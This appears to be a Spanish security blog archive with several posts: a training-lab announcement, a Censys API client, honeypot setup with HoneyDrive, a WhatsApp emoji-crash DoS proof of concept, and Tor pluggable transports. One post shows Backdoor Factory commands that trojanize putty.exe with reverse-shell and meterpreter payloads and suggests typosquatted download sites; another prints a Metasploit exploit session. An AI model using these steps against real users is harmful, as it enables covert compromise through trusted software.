Archive

Archive for the ‘Services – Software’ Category

Nueva temporada en THW Academy: Más cursos y lanzamiento de THW Labs

mayo 13, 2016 Deja un comentario

THW Academy lleva cerca de un año en funcionamiento y los resultados han sido muy satisfactorios, he tenido la oportunidad de conocer gente que tiene un interés legitimo por aprender y que además, participan activamente. Este proyecto ha nacido como una plataforma de aprendizaje dedicada a las personas interesadas en el mundo de la seguridad informática y el hacking con un enfoque completamente práctico, con esto en mente, uno de los principales objetivos de la academia es el de impartir una formación que en la medida de lo posible fomente la investigación. Nunca me ha interesado crear cursos atiborrados de muchos conceptos teóricos con escasa aplicación práctica y creo que a día de hoy, estoy consiguiendo ese objetivo. No obstante, mucho antes de comenzar con THW Academy y desde la perspectiva de cualquier aprendiz (que es lo que soy y siempre seré) considero que no es suficiente con simplemente recibir cursos, por muy buenos que estos sean, ya que la mejor forma de aprender de verdad es pegarse con problemas y tratar de resolverlos. Por este motivo, he decidido dar un paso hacia adelante y ofrecer algo más, algo que todos pedís constantemente y que no es tan fácil de conseguir: Llevar a la práctica lo aprendido en entornos reales que supongan un reto autentico. Los conocimientos en hacking son esencialmente prácticos, pero aplicar esos conocimientos es complicado, ya que “no puedes”, o mejor, “no debes”, atacar cualquier sistema por las consecuencias legales que tus acciones te pueden acarrear. La mejor forma que tenemos actualmente de poner a prueba nuestras habilidades es por medio de máquinas virtuales con vulnerabilidades o participar en retos del tipo CTF, son cosas que están muy bien, pero es probable que se te queden cortas y que quieras ir un poco más allá. En este sentido, tienes a tu disposición el reto de Offensive Security con la certificación OSCP, un reto que siempre recomiendo por su alto nivel técnico y además de que tienes que “ensuciarte las manos”, ser muy autodidacta y esforzarte mucho para conseguir el objetivo de comprometer todos los sistemas del entorno. Hace algún tiempo os hablé de mi experiencia en el laboratorio de la OSCP y comentaba que es bastante completo  para poner a prueba tus conocimientos, sin embargo tiene un “pequeño problema” y es que te puede llegar a constar 1.500 dolares o más, dependiendo del tiempo que contrates. Es un entorno que está muy bien, pero seguramente muchos de vosotros os lo pensaréis dos veces ya que su costo es alto.
Partiendo de esta situación, desde el año pasado me propuse crear un laboratorio de pruebas completo que vaya un poco más allá del típico CTF, un entorno en el que se simule una red corporativa y que suponga un verdadero reto para cualquier hacker o pentester y es así como el día de hoy os presento THW Labs.

                                                                                              (Pincha sobre la imagen)
Optimized-THWAcademy-network-1

Se trata de un laboratorio que actualmente cuenta con más de 30 sistemas que incluyen vulnerabilidades de todo tipo y con niveles de dificultad variables, es posible realizar cualquier tipo de prueba y ejecutar ataques contra segmentos de red internos utilizando técnicas de pivoting y port-forwarding, todo ello por medio de una conexión a la VPN de THW Labs. Se trata de un entorno muy similar al de la OSCP, solamente que ahora mismo cuenta con menos sistemas, pero os aseguro que irá creciendo y en poco tiempo estará a la altura del de la OSCP. El objetivo es que se convierta en un entorno tan extenso como el que existe en la OSCP  pero con tres diferencias importantes:

  1. En primer lugar, las vulnerabilidades no son las mismas para cada sistema y cada objetivo tiene sus propias vías de explotación, algo que no tiene la OSCP, ya que fácilmente nos encontramos de 6 a 8 sistemas que se explotan del mismo modo, aplicando las mismas técnicas, los mismos exploits y siguiendo exactamente los mismos procedimientos. En el caso de THW Labs cada sistema es único.
  2. En THW Labs existen 3 niveles de dificultad (básico, intermedio y avanzado), de esta forma cada participante podrá decidir en qué sistemas centrarse y buscar formas de explotarlos dependiendo de sus habilidades y conocimientos.
  3. Como se ha mencionado antes, THW Labs es un entorno dinámico, lo que quiere decir que a lo largo del tiempo irá creciendo en objetivos y vulnerabilidades, algo que no ha ocurrido en mucho tiempo con el laboratorio de la OSCP, ya que te vas a encontrar con los mismos sistemas que se podían ver en la versión de PWB (Pentesting With Backtrack). Esto significa que muchas de las vulnerabilidades que han salido recientemente no se encuentran incluidas en el laboratorio de la OSCP, sin embargo, en el caso de THW Labs, se estima que en un promedio de cada 2 meses, habrán nuevos sistemas con vulnerabilidades o vías de explotación que han sido recientemente descubiertas o que en las que es necesario aplicar técnicas de explotación interesantes.

Dicho todo lo anterior, os recomiendo visitar la página web oficial de THW Labs.

Por otro lado, tal como dicta el título de ésta entrada, los cursos que actualmente se están ofreciendo en THW Academy llegan a su fin  en el mes de diciembre y a partir de Enero del año que viene, comenzamos con la siguiente temporada de cursos, los cuales se listan a continuación:

Nivel básico:

THWB5 – INTRODUCCIÓN A LA ARQUITECTURA DE ORDENADORES

THWB6 – CONFIGURACIÓN Y USO DE METASPLOIT FRAMEWORK

Nivel Intermedio:

THWI4 – HACKING EN REDES Wi-Fi

THWI5 – PENTESTING CON METASPLOIT FRAMEWORK, NMAP Y SET.

THWI6 – POSTEXPLOTACIÓN SOBRE SISTEMAS GNU/LINUX.

Nivel Avanzado:

THWA4 – NETWORKING CON PYTHON: Scapy, Twisted, Tornado y AsyncIO

THWA5 – EXPLOITING EN SISTEMAS WINDOWS Y GNU/LINUX

 

Próximamente tendréis disponibles los contenidos de cada uno de estos cursos, además, os recuerdo que podéis registraros a THW Academy en cualquier momento y acceder a todos los contenidos que se han publicado anteriormente y los que se publican mes a mes.

De momento esto es todo, sin embargo si tenéis cualquier duda, comentario o cualquier otro asunto, puedes escribir un correo a adastra@thehackerway.com y se te responderá tan rápido como sea posible.

Un saludo y Happy Hack!
Adastra.

Censys: Motor de búsqueda sobre dispositivos y servidores en Internet

abril 19, 2016 1 comentario

Shodan es probablemente uno de los motores de búsqueda más utilizados por hackers (y curiosos) que quieren encontrar dispositivos y servidores en Internet que ejecutan servicios con características muy concretas, no en vano se le conoce como “el google de los hackers”. Es una herramienta muy valiosa que también permite acceder a sus funcionalidades de forma programática desde lenguajes de programación tales como Python, Perl o Ruby. En varias ocasiones se han mencionado sus virtudes en este blog y seguramente para muchos de vosotros nada de lo dicho anteriormente es algo nuevo, sin embargo cuando se menciona a “Censys”, actualmente son “pocas” las personas que conocen sus bondades. Del mismo modo que ocurre con Shodan, con Censys es posible realizar búsquedas muy concretas sobre dispositivos, servidores y redes que se encuentran en Internet, siendo un servicio muy similar y directa “competencia” de Shodan. El funcionamiento de Censys se basa en el uso de una herramienta que también es relativamente reciente y de la que ya se ha hablado anteriormente en este sitio, se trata de Zmap un escaner que permite ejecutar un escaneo completo contra el rango de direcciones IPv4 y que con los recursos de computo adecuados, permite el escaneo entero de Internet en un tiempo bastante razonable. Se trata sin lugar a dudas de una herramienta que merece la pena estudiar y comprender. Censys se encarga de ejecutar escaneos con Zmap diariamente y recolecta información sobre los servicios que se encuentran disponibles en las direcciones IP analizadas, que como se ha dicho anteriormente, comprenden el rango de direcciones IPv4 entero. El creador de Censys es el mismo de Zmap (Zakir Durumeric) y desde el primer paper público sobre el uso de Censys, en octubre de 2015, tanto él como John Matherly (Shodan) han defendido a capa y espada sus respectivos sistemas como es natural, exponiendo las virtudes del uno sobre el otro. Después de estudiar ambos, personalmente no me decanto por uno solo, todo lo contrario, prefiero utilizar ambos para obtener más información y poder comparar/complementar resultados. Del mismo modo que ocurre con Shodan, es posible utilizar una API basada en servicios Rest que pueden ser consultados fácilmente si se tiene una “Developer Key”, la cual se puede conseguir simplemente creando una cuenta gratuita en el servicio. Todos los días es posible acceder a un snapshot de los datos recolectados por el servicio, indicando la información disponible sobre direcciones, puertos, sitios web, certificados, etc. Por otro lado, la API está compuesta por los siguientes endpoints.

search Permite ejecutar búsquedas contra los índices más recientes que ha recolectado el sistema.
view Permite recuperar información sobre un host concreto, sitio web o certificado.
report Permite generar un reporte agrupado sobre un campo concreto en el conjunto de resultados.
query Permite la ejecución de una consulta SQL contra la información actual e histórica que se ha ido registrando en el sistema y únicamente está disponible a investigadores verificados.
export Permite la exportación de un conjunto de registros en formato JSON
data Expone metadatos sobre la información en formato “crudo” que es recolectada diariamente por el sistema.

Como se puede apreciar, son muy pocos endpoints y no es una API tan completa como la que implementa Shodan, pero sigue siendo muy interesante por la información que aporta. En este punto es posible interactuar con Censys por medio de dichos endpoints de forma programática, para ello es necesario crear una cuenta en Censys y obtener los campos API ID y Secret, tal como se puede apreciar en la siguiente imagen.

censys1

A la fecha de redactar este documento no hay ningún tipo de cliente oficial para Censys, pero dado que se trata de un servicio que se expone por medio de una API Rest, es posible utilizar cualquiera de las librerías disponibles en lenguajes de programación como Python, Ruby, C o Java, para consumir dichos servicios Rest sin mayores dificultades. En este caso concreto y tal como se ha visto en varias ocasiones en este blog, se utilizará Python para crear un cliente básico que consuma algunos de los servicios disponibles en Censys.

			
import sys 		
import json 
import requests 
API_URL = "https://www.censys.io/api/v1" 
UID = "xxxxx" 
SECRET = "zzzzz" 
res = requests.get(API_URL + "/data", auth=(UID,
			SECRET)) 
if res.status_code != 200: 
    print "error occurred: %s" % res.json()["error"]
    sys.exit(1) 
for name, series in res.json()["raw_series"].iteritems():
    print series["name"], "was last updated at",
			series["latest_result"]["timestamp"] 
params = json={"query": "Apache", 
			 "page":1} 
res = requests.post(API_URL + "/search/certificates",
			auth=(UID, SECRET), json=json) 
print res.json()["results"][0].keys() 
print res.json()["results"][0].values()

Hay que tener en cuenta que de acuerdo a la documentación la API Rest de Censys, es necesario invocar a cada uno de los endpoints con un método HTTP concreto, una serie de parámetros obligatorios y que además, muchas de las peticiones reciben datos en formato JSON, con lo cual es necesario realizar las peticiones HTTP siguiendo estás especificaciones. El script anterior es simplemente un ejemplo sobre el uso de los endpoints “/data” y “/search/certificates”. Tal como se puede apreciar, es bastante sencillo crear un cliente y obtener información de Censys utilizando su API Rest.

De todos modos, desde mi punto de vista hay dos características que hacen que Shodan sea una buena opción con respecto a Censys, considerando nuevamente que a mi juicio es recomendable utilizar ambas.

1. La API de Shodan parece estar mejor documentada y ser más completa, además de que hay clientes en diferentes lenguajes, lo que facilita su integración en cualquier herramienta, esto a la fecha de redactar este documento, no se consigue con Censys.

2- Shodan cuenta con varios filtros que permiten afinar las búsquedas y a la fecha de redactar este articulo, son mucho más completos que los que se encuentran disponibles en la interfaz de búsqueda de Censys.

En contrapartida, Censys permite el acceso a la información histórica que se ha ido recolectado y no pone limitaciones sobre los tipos de servicios que se pueden consultar, algo que si hace Shodan.

Se trata simplemente de un servicio que podéis utilizar de forma complementaria a Shodan para la recolección de información, se perfila como una excelente herramienta para ejecutar procesos OSINT y análisis de datos.

Un saludo y Happy Hack!
Adastra.

Inyección de código arbitrario en ejecutables con The Backdoor Factory

abril 11, 2016 4 comentarios

La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.

Usando The Backdoor Factory

Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.

El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:

-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.

-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.

-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.

-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”

-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.

-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.

-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.

-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.

Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:

./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q

En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.

BDF1Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.

Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.

BDF2Imagen 2: Atacante interactuando con el sistema de la víctima.

Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.

./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q

Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.

 BDF3Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.

Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.

Un saludo y Happy Hack!
Adastra.

Honeypots: Agrupación y gestión de honeypots con HoneyDrive – Parte 4

marzo 1, 2016 1 comentario

Hace algunos meses comencé a hablar sobre algunos de los honeypots más interesantes que se encuentran actualmente a nuestra disposición, entre los cuales no pueden faltar Kippo y Dionaea, sin embargo hay muchos más que simulan el comportamiento de muchos de los servicios más habituales. Una buena forma de explorar algunos de los más conocidos es por medio de HoneyDrive, una distribución basada en Linux, concretamente con Xubuntu Desktop 12.04 LTS. Cuenta con más de 10 honeypots preconfigurados y listos para ser utilizados en la plataforma, entre los cuales destacan Dionaea, Kippo, Amun, Honeyd, Honeyd2MySQL, Glastopf, Conpot, entre muchos otros que se irán explicando detalladamente en esta y próximas entradas. Evidentemente, es muy ventajoso tener todo correctamente preparado y configurado para que únicamente sea cuestión de arrancar los servicios necesarios y a correr, pero siempre es aconsejado contar con un buen nivel de conocimientos sobre las tecnologías utilizadas ya que en ocasiones resulta conveniente instalar las herramientas “a mano” para entender cuáles son las posibles configuraciones que se pueden aplicar. El proyecto se encuentra ubicado en la siguiente ruta https://bruteforce.gr/honeydrive y se puede descargar la última versión disponible desde el repositorio SVN, el cual se encuentra ubicado en la siguiente ruta: http://sourceforge.net/projects/honeydrive/

Allí se encuentra disponible el servicio virtualizado (.OVA) el cual puede ser desplegado directamente en VirtualBox. Una vez descargada, instalada la imagen OVA e iniciado el sistema, en el escritorio se encuentra un fichero llamado “README” el cual incluye todos los detalles necesarios para poder utilizar todos los honeypots y herramientas que se encuentran instaladas en el sistema. Por ejemplo, es posible utilizar el honeypot Kippo tal como se ha visto en el primer artículo que se encuentra aquí: https://thehackerway.com/2015/03/24/honeypots-parte-1-kippo/

hd1

Imagen 1: Iniciando Kippo en HoneyDrive.

En este caso, Kippo se vinculará al puerto “22” y aceptará peticiones por parte de clientes/atacantes que intenten acceder al sistema. Tal como se ha visto en el artículo sobre Kippo, su configuración es muy simple y únicamente es necesario establecer las opciones adecuadas en el fichero “kippo.cfg”. En el caso de HoneyDrive, dicho fichero de configuración se encuentra ubicado en “/honeydrive/kippo” y su contenido por defecto es el siguiente:

[honeypot]

ssh_port = 22

hostname = svr03

log_path = log

download_path = dl

contents_path = honeyfs

filesystem_file = fs.pickle

data_path = data

txtcmds_path = txtcmds

public_key = public.key

private_key = private.key

ssh_version_string = SSH-2.0-OpenSSH_5.1p1 Debian-5

interact_enabled = false

interact_port = 5123

[database_mysql]

host = localhost

database = kippo

username = root

password = honeydrive

port = 3306

Como se puede apreciar, algunas opciones de configuración vienen con los valores por defecto que trae Kippo, y otras, como el caso de la conexión a una base de datos para el registro de los eventos producidos, si que han sido personalizadas específicamente para funcionar sobre el sistema. Esta configuración puede modificarse sin ningún problema para adaptarse a las necesidades particulares de cualquiera, solamente es necesario conocer cuál es el comportamiento de de cada una de las opciones disponibles, tal como se ha visto en el primer artículo sobre honeypots y Kippo.

En HoneyDrive viene instalado PhpMyAdmin, lo que permitirá conectarse a una de las base de datos MySQL que se encuentran en el sistema y ver los eventos que se han podido registrar. En este caso concreto, interesa la base de datos “kippo”, que es en donde se almacenarán los intentos de acceso al puerto donde se encuentra en ejecución Kippo. El nombre de usuario para acceder a PhpMyAdmin es “root” y la contraseña es “honeydrive”. Una vez el usuario se autentica, tal como se puede ver en el panel de la izquierda, están todas las bases de datos que se encuentran disponibles.

hd2

Imagen 2: PhpMyAdmin en HoneyDrive.

Cuando un usuario intenta acceder al servicio de Kippo, automáticamente su intento de autenticación queda registrado en la base de datos, concretamente en la tabla “auth”, la cual almacena todos los intentos con su correspondiente nombre de usuario y contraseña, así como si el intento ha tenido éxito o no. Por otro lado, dicha tabla se encuentra relacionada con la tabla “sessions”, en donde se registran los datos básicos del usuario que ha intentado autenticarse, incluyendo su dirección IP.

hd3

Imagen 3: PhpMyAdmin en HoneyDrive.

En otras dos entradas se ha hablado de Dionaea, un honeypot enfocado a la detección y análisis de malware y en el caso de HoneyDrive también se encuentra preconfigurado y listo para ser utilizado. Los detalles se encuentran incluidos en el fichero README y son los que se listan a continuación.

[Dionaea]

Location: /opt/dionaea/

Start script: /honeydrive/dionaea-vagrant/runDionaea.sh

Binary: /opt/dionaea/bin/dionaea

Configuration: /opt/dionaea/etc/dionaea/dionaea.conf

Logs: /opt/dionaea/var/log/

SQLite database: /opt/dionaea/var/dionaea/logsql.sqlite

Malware samples: /opt/dionaea/var/dionaea/binaries/

Log rotation: enabled

phpLiteAdmin: /var/www/phpliteadmin/

+ password: honeydrive

+ allow only localhost: enabled

+ URL: http://localhost/phpliteadmin/phpliteadmin.php

Con la configuración por defecto se puede arrancar Dionaea sin ninguna dificultad, simplemente ejecutando el script “/honeydrive/dionaea-vagrant/runDionaea.sh”. Este script se puede modificar con el fin de personalizar el comando de ejecución y remover o incluir otros parámetros que admite el programa “dionaea”.

hd4

Imagen 4: Dionaea en HoneyDrive.

A continuación se puede utilizar Metasploit Framework para comprobar su funcionamiento. Esto mismo se ha visto en una entrada anterior de esta misma serie de artículos: https://thehackerway.com/2015/04/14/honeypots-parte-3-configuracion-y-analisis-de-malware-con-dionaea/

msf > use exploit/windows/smb/ms06_040_netapi

msf exploit(ms06_040_netapi) > set PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

msf exploit(ms06_040_netapi) > set RHOST 192.168.1.42

RHOST => 192.168.1.42

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

En el fichero de logs de Dionaea se puede apreciar lo siguiente:

hd5

Imagen 5: Logs de Dionaea.

Tal como se ha visto en una entrada anterior, Dionaea también es capaz de detectar y almacenar muestras de malware que envíe un atacante, algo especialmente útil si se desea analizarlas después con Cuckoo Framework o cualquier otra herramienta.

Aquí se ha visto un ejemplo muy simple del uso de Kippo y Dionaea en Honey Drive, sin embargo existen muchos más honeypots y herramientas que se encuentran incluidos en esta interesante distribución y que se irán viendo con mucho más detalle en próximos artículos.

Un saludo y Happy Hack!
Adastra.

PoC sobre vulnerabilidad en Whatsapp: WhatsappCrasher

enero 4, 2016 1 comentario

Hola a todos y feliz año nuevo!

Esta es la primera entrada del año 2016 en THW y en esta ocasión, han sido Eduardo Blázquez González ( aka Fare9 ) y Ilya Cabos Kobjak ( aka eijk ) quienes han querido colaborar en este espacio publicando una prueba de concepto utilizando Python para ejecutar un ataque DoS contra un contacto de whatsapp. Es una PoC en la que se expone el uso de librerías como Selenium para la interacción automatizada con sitios web, en este caso concreto, con whatsapp web. Sin más preambulos, os dejo su aportación.

Un saludo y Happy Hack!
Adastra.

 

Estás intentando disfrutar de tu hobbie favorito en tu dia libre, pero cada 3 segundos tu teléfono te distrae porque te está llegando un tren de mensajes de whatsapp… Ese es el tipo de cabreo del que nació este programa. Pocas cosas hay tan estimulantes para la mente que una buena tarde de estudio con  colegas de profesión y más aún si dichos compañeros tiran por ramas tan dispares como son la seguridad informática y la inteligencia artificial. Así que molestos del “brrrr” del móvil al llegar un whatsapp, y con una vulnerabilidad de este servicio de mensajería recientemente publicada, decidimos echar mano a un portátil con una distro de linux instalada, unos cuantos conocimientos en python y ganas de joder la marrana. Sabíamos cómo funcionaba la vulnerabilidad de whatsapp, la teoría era desde luego sencilla:
“Si envías un montón de caritas sonrientes, el whatsapp peta”
Bien, en ninguna de las webs que he leído se explica exactamente qué pasa o por qué solo afecta a los sistemas Android… Una de las teorías con las que jugamos fue que la traducción simultánea que la versión de whatsapp de Android hace de los emojis de UTF-8 a imágenes png codificadas en hexadecimal consume recursos de forma descontrolada hasta que el sistema no puede más; la diferencia con iOS puede estar en que el pipeline de su renderizado de gráficos está optimizada para trabajar con el hardware sobre el que corre, o en la forma de tratar las cadenas que tienen como diferencia android (Java) e iOS (objective-C). Hicimos un sencillo script de consola en python, cuya ejecución abre un navegador y espera a que el usuario entre en la aplicación; una vez dentro nos pedirá el nombre de usuario de la víctima, el cual encontrará usando el buscador. En el caso de que hubiera más de una coincidencia, se pedirá que se seleccione uno de ellos según su orden en la lista (de 1 hasta N). Una vez hecho esto, se abrirá en el navegador el chat con el usuario seleccionado. En este punto el usuario debe hacer alarde de sus habilidades en ingeniería social para asegurarse de que la víctima “pique el anzuelo” escribiendo un mensaje personalizado que sepa captar el interés del objetivo. Será este el punto en el cual el ordenador empezará a bufar al tener que escribir 7000 veces el emoji de una bomba, provocando el crash de whatsapp. Aun así, no es nada en comparación con lo que sufrirá el móvil android del objetivo, quien observará consternado como su pantalla queda bloqueada y la conversación arruinada,
puesto que la única forma que tendrá de volver a hablar con el usuario es borrándola. Se trata de un script picado en no más de 30 minutos, por tanto no ha sido testeado en condiciones, ni se han corregido todos los posibles errores. Queda abierto para todo el que quiera probarlo y ver que en poco tiempo conociendo las herramientas es posible hacer algo interesante.

En esta repo de git viene el código y un instalador para Linux:
https://github.com/Fare9/WhatsappCrasher
Por último dar las gracias a Daniel Echeverry ( aka adastra ), por dejarnos publicar esta entrada en su blog “ the hacker way “, y con esto poder compartir un poco de nuestros conocimientos de forma pública a todos los interesados.
Ilya Cabos Kobjak ( aka eijk )
Eduardo Blázquez González ( aka Fare9 )

Pluggable transports en TOR para la evasión de Deep Packet Inspection

julio 30, 2015 2 comentarios

Los puentes (bridges) son una de las formas más “tradicionales” de evadir la censura por parte de países y proveedores del servicio que intentan bloquear las autoridades de directorio y nodos de TOR. Se trata de un mecanismo que funciona bastante bien, ya que los puentes son direcciones que no se encuentran directamente relacionadas con TOR y aunque funcionan exactamente igual que cualquier repetidor, su información no se distribuye públicamente en ninguno de los descriptores emitidos por las autoridades de directorio. Aunque esta medida resulta bastante efectiva para evadir mecanismos de bloqueo simples basados en direcciones o dominios, en los últimos años se ha comenzado a ver que organismos censores implementan técnicas del tipo DPI (Deep Packet Inspection) para analizar el contenido de los paquetes en busca de cualquier indicio o patrón que les permita saber si el paquete en cuestión utiliza el protocolo de TOR. Evidentemente este tipo de técnicas suelen ser muy efectivas y permiten detectar y bloquear cualquier paquete de datos que utilice el protocolo de TOR.
Como siempre, nos encontramos en un constante “tira y afloje”, en el que los mecanismos de censura son mucho más complejos y efectivos, lo cual obliga a implementar técnicas de evasión que puedan ir un paso por delante. Dado que utilizar únicamente los bridges tradicionales ahora no es del todo efectivo (en algunos países), el equipo de TOR lleva unos años mejorando las técnicas de evasión y últimamente se ha venido hablando mucho sobre los Pluggable Transports (PT), cuyo principal objetivo es el de ofuscar el tráfico entre un origen y un bridge por medio de PTs. Dichos PTs se encargan de modificar los paquetes de datos para parezcan peticiones normales, ocultando cualquier indicio que permita descubrir de que se trata de un paquete de datos que hace parte de un flujo de TOR. La siguiente imagen simplifica el funcionamiento del sistema de PTs, el cual como se puede apreciar, no es demasiado complejo.

PTFuncionamiento de los Pluggable Transports en TOR

Pluggable Transports en TOR con Obsproxy

La especificación de “Pluggable Transports” está diseñada para que sea independiente de TOR u otras soluciones de anonimato e indica los pasos y directrices que debe seguir cualquier implementación de PTs. En el caso de TOR, existen varias implementaciones de PTs que se pueden utilizar, siendo Meek y ObsProxy las más soportadas y por supuesto, recomendadas.

Obsproxy es un framework escrito en Python que permite implementar PTs. Utiliza Twisted para todas las operaciones de red y la librería pyptlib la cual ha sido creada por el equipo de TOR específicamente para soportar las características de los PTs. Esta librería es especialmente interesante para aquellas aplicaciones que se encargan de transformar y ofuscar tráfico TCP y que requieren enviar dichos flujos de paquetes a un destino utilizando TOR.

Para utilizar Obsproxy en el lado del cliente (ver la imagen de arriba) se puede ejecutar TOR Browser Bundle, el cual contiene las implementaciones de los principales PTs soportados en TOR. En este caso concreto, Obsproxy y las otras implementaciones de PTs se encuentran incluidas en el directorio “<TOR_BROWSER/Browser/TorBrowser/Tor/PluggableTransports>”. Dichas implementaciones pueden utilizarse en modo cliente cuando se arranca Tor Browser y su configuración es prácticamente automática por medio de un asistente muy simple, el cual se inicia al abrir la configuración de Tor Browser.

pt1Configuración del cliente de TOR Browser

Como se puede apreciar, existen dos posibles escenarios, o bien el cliente se encuentra “censurado” y sus peticiones se encuentran filtradas por medio de un proxy o el cliente cuenta con una conexión directa a Internet, con lo cual no tendrá mayores inconvenientes a la hora de conectarse a la red de TOR. En el segundo caso, el asistente de Tor Browser le permite al cliente especificar cuál tipo de PT desea utilizar y a continuación, se encarga de configurar al instancia para que utilice el PT adecuado.

pt2Selección de un PT en Tor Browser

Después de seleccionar el tipo de PT la conexión a la red de TOR se hará por medio de los bridges que vienen por defecto en el Tor Browser y además, todas las peticiones se harán a un servidor OBSProxy por medio del cliente obfs3 local que se ha indicado. En el caso de que no sea posible realizar la conexión a la red de TOR utilizando los Bridges OBFS3 por defecto, Tor Browser indicará que hay un “censor” que se encuentra bloqueando las peticiones a dichas máquinas y en tal caso, se debe solicitar un conjunto de Bridges nuevo tal como se ha explicado en un artículo anterior.

El fichero “torrc” utilizado por Tor Browser habrá sufrido algunos cambios después de aplicar la configuración anterior y como se puede ver a continuación, dichos cambios incluyen el uso de Bridges OBFS3.

Bridge obfs3 169.229.59.74:31493 AF9F66B7B04F8FF6F32D455F05135250A16543C9Bridge obfs3 83.212.101.3:80 A09D536DD1752D542E1FBB3C9CE4449D51298239

